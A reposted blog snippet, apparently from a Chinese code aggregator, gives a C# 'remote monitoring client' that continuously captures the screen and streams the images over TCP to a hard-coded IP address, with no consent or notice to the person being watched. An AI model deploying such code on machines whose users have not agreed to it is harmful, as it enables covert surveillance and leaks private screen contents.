zoukankan      html  css  js  c++  java
  • [转载]c#远程监控客户端

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Threading;
    using System.Windows.Forms;
    using System.Timers;
    using System.Drawing;
    using System.IO;
    using System.Net;
    using System.Net.NetworkInformation;
    using System.Net.Sockets;
    namespace ConsoleApplication4
    {
        class Program
        {
            static string ip = "10.196.30.253";
            static bool start = true;
            static void SendMessage()
            {
                TcpClient client = new TcpClient(ip, 9000);
                NetworkStream nws = client.GetStream();
                while (start)
                {
                    byte[] bytes = GetScreen();
                    nws.Write(bytes, 0, bytes.Length);
                    nws.Flush();
                    Thread.Sleep(20);
                }
                nws.Close();
                client.Close();
            }
            static byte[] GetScreen()
            {
                Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
                Graphics g = Graphics.FromImage(bmp);
                g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
                MemoryStream ms = new MemoryStream();
                bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Bmp);
                byte[] byteimage=new byte[ms.Length];
                byteimage=ms.ToArray();
                bmp.Dispose();
                g.Dispose();
                ms.Close();
                return byteimage;
            }
            static void Main(string[] args)
            {
                Thread th = new Thread(new ThreadStart(SendMessage));
                th.Start();
            }
        }
    }
  • 相关阅读:
    Unity贴图压缩优化处理
    Unity游戏开发图片纹理压缩方案
    devexpress panelcontrol 里面控件自适应宽度
    devexpress winform spinedit 右边上下箭头去掉
    devexpress layoutcontrolitem 里面控件tabindex不起作用
    jar包生成本地maven ,以供pom引用
    C# 计算代码执行效率
    C# 使用队列
    C#遍历获取所有文件
    C#多线程等待所有子线程结束
  • 原文地址:https://www.cnblogs.com/fx2008/p/2757409.html
Copyright © 2011-2022 走看看